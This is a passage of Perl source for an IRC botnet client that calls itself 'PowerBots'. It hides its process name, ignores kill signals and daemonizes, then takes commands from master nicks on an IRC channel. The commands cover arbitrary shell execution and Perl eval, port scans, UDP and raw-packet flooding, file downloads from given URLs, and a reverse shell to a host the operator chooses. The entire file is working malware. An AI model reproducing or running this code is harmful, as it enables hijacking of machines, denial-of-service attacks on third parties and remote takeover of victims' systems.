"|mb3lz666-Malova|","|mb3lz666-Manalis|","|mb3lz666-Mandel|","|mb3lz666-Manganiello|","|mb3lz666-Mantovan|","|mb3lz666-March|","|mb3lz666-Marchbanks|","|mb3lz666-Marcus|","|mb3lz666-Margalit|","|mb3lz666-Margetts|","|mb3lz666-Marques|","|mb3lz666-Martinez|","|mb3lz666-Martochio|",
"|mb3lz666-Marton|","|mb3lz666-Marubini|","|mb3lz666-Mass|","|mb3lz666-Matalka|","|mb3lz666-Matarazzo|","|mb3lz666-Matsukata|","|mb3lz666-Mattson|","|mb3lz666-|mb3lz666-Mauzy|","|mb3lz666-May|","|mb3lz666-Mazzali|","|mb3lz666-Mazziotta|","|mb3lz666-Mcbride|","|mb3lz666-Mccaffery|","|mb3lz666-Mccall");
my @xident = ("mb3lz666","Bot","shells");
my @xname = ("Googurl (C) 2006 xeQt","www.Google.com","* Im to lame to read Bitchx.doc *","BiatchX",
"Tveita Gjengen","Bgjengen","Agjengen","locos","putas","spooon","Type-R Turbo","Civic R Turbo",
"mIRC 6.1","* Im so lame i cant ready BitchX.doc *","Bill Gates","Cannon","Mtv","nos","nozzz",
"San Francisco","New York Gangbang..","Team Norway","Team Europe","Team Germany","Team Work","jet lie");
#################
# Random Ports
#################
my @rports = ("6667");
my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
"\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
"\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
"\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
"\001Snak for Macintosh 4.9.8 English\001",
"\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
"\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
"\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
"\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
"\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
"\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
"\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
"\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
"\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
"\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
"\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
"\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
"\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
"\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
"\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1?9] : Keep it to yourself!\001",
"\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
"\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
"\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
"\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
"\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");
# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");
# xeQt
#my $nick = "DivX-";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'PowerBots (C) GohacK';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."\0";
my $pid=fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();
sub getnick {
return "$nickname[rand scalar @nickname]".int(rand(1000));
}
sub getstore ($$)
{
my $url = shift;
my $file = shift;
$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
_get($url);
close GET_OUTFILE;
return $main::http_get_result;
}
sub _get
{
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
}
}
sub _trivial_http_get
{
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);
#print "HOST=$host, PORT=$port, PATH=$path\n";
$AGENT = "get-minimal";
$VERSION = "20000118";
$path =~ s/ /%20/g;
require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 60) || return;
$sock->autoflush;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;
my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") {
$b1 = $buf;
$buf =~ s/.+?\015?\012\015?\012//s;
}
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
}
return undef unless defined($n);
$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
# print "CODE=$main::http_get_result\n$b1\n";
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
my $url = $1;
return undef if $http_loop_check{$url}++;
return _get($url);
}
return undef unless $main::http_get_result =~ /^2/;
}
return $buf;
}
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 2;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
&DCC::connections;
my @ready = $sel_cliente->can_read(0.6);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "".$Mrx."");
}
elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
notice("$pn", "\001PONG\001");
}
elsif (grep {$_ =~ /^(\Q$pn\E|\Q$hostnam3\E)$/i } @mast3rs) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^!(.*)/){
ircase("$pn","$chan","$1");
}
if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
$meunick = getnick();
nick("".$meunick."-");
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@admchan){
sendraw("JOIN $canal 206xss");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork)
{
exit;
}
else
{
# Quick scan
if ($funcarg =~ /^ps (.*)/) {
my $hostip="$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
my (@aberta, %porta_banner);
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
}
}
# NMAP, lol
elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
{
my $hostname="$1";
my $portstart = "$2";
my $portend = "$3";
my (@abertas, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
foreach my $porta ($portstart..$portend)
{
my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
if ($scansock) {
push (@abertas, $porta);
$scansock->close;
if ($xstats)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
}
}
}
if (@abertas) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
}
}
# Remove
elsif ($funcarg =~ /^rm/)
{
system("cd /var/tmp ; rm -rf .mrx ; rm -rf alex.txt ; rm -rf alex.txt.* vx* mrx*");
system("cd /tmp ; rm -rf .mrx ; rm -rf alex.txt ; rm -rf alex.* ; mkdir /tmp/.mrx ; cd /tmp/.mrx");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
}
# Version
elsif ($funcarg =~ /^version/)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
}
# Download
elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
{
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
}
# Udp
elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $tempo = "$3";
my $pacote;
my $pacotese;
my $fim = time + $tempo;
my $pacota = 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($tempo != "0"));
$pacote=$rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
}
if ($xstats)
{
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
}
}
# Backconnect
elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
system("cd /tmp/.mrx");
close(STDIN);
close(STDOUT);
close(STDERR);
}
exit;
}
}
}
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
elsif ($case =~ /^part (.*)/) {
p("$1");
}
elsif ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
elsif ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
elsif ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
elsif ($case =~ /^nick (.*)/) {
nick("$1");
}
elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
elsif ($case =~ /^raw (.*)/) {
sendraw("$1");
}
elsif ($case =~ /^eval (.*)/) {
eval "$1";
}
elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
j("$1");
}
elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
p("$1");
}
elsif ($case =~ /^quit/) {
quit();
}
elsif ($case =~ /^rand/) {
my $novonick = getnick();
nick("$novonick");
}
elsif ($case =~ /^stat (.*)/) {
if ($1 eq "on") {
$xstats = 1;
msg("$printl", "Satus enabled");
} elsif ($1 eq "off") {
$xstats = 0;
msg("$printl", "Status disable");
}
}
elsif ($case =~ /^bang (.*)/) {
if ($1 eq "on") {
$pacotes = 1;
msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
} elsif ($1 eq "off") {
$pacotes = 0;
msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
}
}
}
sub shell {
return unless $shellaccess;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
return;
}
elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c >= "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65535; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
for (my $pc = 3; $pc <= 255;$pc++) {
next if $pc == 6;
$cur_time = time - $itime;
last if $cur_time >= $ftime;
socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub action {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
return unless $#_ == 1;
sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
return unless $#_ == 1;
sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
return unless $#_ == 1;
sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
return unless $#_ == 1;
sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
return unless $#_ == 1;
sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
return unless $#_ == 1;
sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
return unless $#_ == 0;
sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub invite {
return unless $#_ == 1;
sendraw("INVITE $_[1] $_[0]");
}
sub topico {
return unless $#_ == 1;
sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
return unless $#_ == 0;
sendraw("WHOIS $_[0]");
}
sub who {
return unless $#_ == 0;
sendraw("WHO $_[0]");
}
sub names {
return unless $#_ == 0;
sendraw("NAMES $_[0]");
}
sub away {
sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
sendraw("QUIT :$_[0]");
exit;
}
package DCC;
sub connections {
my @ready = $dcc_sel->can_read(1);
# return unless (@ready);
foreach my $fh (@ready) {
my $dcctipo = $DCC{$fh}{tipo};
my $arquivo = $DCC{$fh}{arquivo};
my $bytes = $DCC{$fh}{bytes};
my $cur_byte = $DCC{$fh}{curbyte};
my $nick = $DCC{$fh}{nick};
my $msg;
my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
$DCC{$fh}{status} = "Cancelado";
$DCC{$fh}{ftime} = time;
$dcc_sel->remove($fh);
$fh->close;
next;
}
if ($dcctipo eq "get") {
$DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo");
print FILE "$msg" if ($cur_byte <= $bytes);
close(FILE);
my $packbyte = pack("N", $cur_byte);
print $fh "$packbyte";
if ($bytes == $cur_byte) {
$dcc_sel->remove($fh);
$fh->close;
$DCC{$fh}{status} = "Recebido";
$DCC{$fh}{ftime} = time;
next;
}
} elsif ($dcctipo eq "send") {
my $send = $fh->accept;
$send->autoflush(1);
$dcc_sel->add($send);
$dcc_sel->remove($fh);
$DCC{$send}{tipo} = 'sendcon';
$DCC{$send}{itime} = time;
$DCC{$send}{nick} = $nick;
$DCC{$send}{bytes} = $bytes;
$DCC{$send}{curbyte} = 0;
$DCC{$send}{arquivo} = $arquivo;
$DCC{$send}{ip} = $send->peerhost;
$DCC{$send}{porta} = $send->peerport;
$DCC{$send}{status} = "Enviando";
open(FILE, "< $arquivo");
my $fbytes;
read(FILE, $fbytes, 1024);
print $send "$fbytes";
close FILE;
# delete($DCC{$fh});
} elsif ($dcctipo eq 'sendcon') {
my $bytes_sended = unpack("N", $msg);
$DCC{$fh}{curbyte} = $bytes_sended;
if ($bytes_sended == $bytes) {
$fh->close;
$dcc_sel->remove($fh);
$DCC{$fh}{status} = "Enviado";
$DCC{$fh}{ftime} = time;
next;
}
open(SENDFILE, "< $arquivo");
seek(SENDFILE, $bytes_sended, 0);
my $send_bytes;
read(SENDFILE, $send_bytes, 1024);
print $fh "$send_bytes";
close(SENDFILE);
}
}
}
sub SEND {
my ($nick, $arquivo) = @_;
unless (-r "$arquivo") {
return(0);
}
my $dccark = $arquivo;
$dccark =~ s/[.*\/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo);
my $size_total=$filestat[7];
if ($size_total == 0) {
return(0);
}
my ($porta, $sendsock);
do {
$porta = int rand(64511);
$porta += 1024;
$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
} until $sendsock;
$DCC{$sendsock}{tipo} = 'send';
$DCC{$sendsock}{nick} = $nick;
$DCC{$sendsock}{bytes} = $size_total;
$DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else {
return(0);
}
my $dccip=fixaddr($dcclongip);
return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
$dccsock->autoflush(1);
$dcc_sel->add($dccsock);
$DCC{$dccsock}{tipo} = 'get';
$DCC{$dccsock}{itime} = time;
$DCC{$dccsock}{nick} = $nick;
$DCC{$dccsock}{bytes} = $bytes;
$DCC{$dccsock}{curbyte} = 0;
$DCC{$dccsock}{arquivo} = $arquivo;
$DCC{$dccsock}{ip} = $dccip;
$DCC{$dccsock}{porta} = $dccporta;
$DCC{$dccsock}{status} = "Recebendo";
}
sub Status {
my $socket = shift;
my $sock_tipo = $DCC{$socket}{tipo};
unless (lc($sock_tipo) eq "chat") {
my $nick = $DCC{$socket}{nick};
my $arquivo = $DCC{$socket}{arquivo};
my $itime = $DCC{$socket}{itime};
my $ftime = time;
my $status = $DCC{$socket}{status};
$ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte};
my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0;
$rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv);
if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
$r_duv = $3; $r_duv++ if $4 >= 5;
$rate = "$1\.$2"."$r_duv";
}
if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
$p_duv = $3; $p_duv++ if $4 >= 5;
$porcen = "$1\.$2"."$p_duv";
}
return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
}
return(0);
}
sub fixaddr {
my ($address) = @_;
chomp $address;
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) {
return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}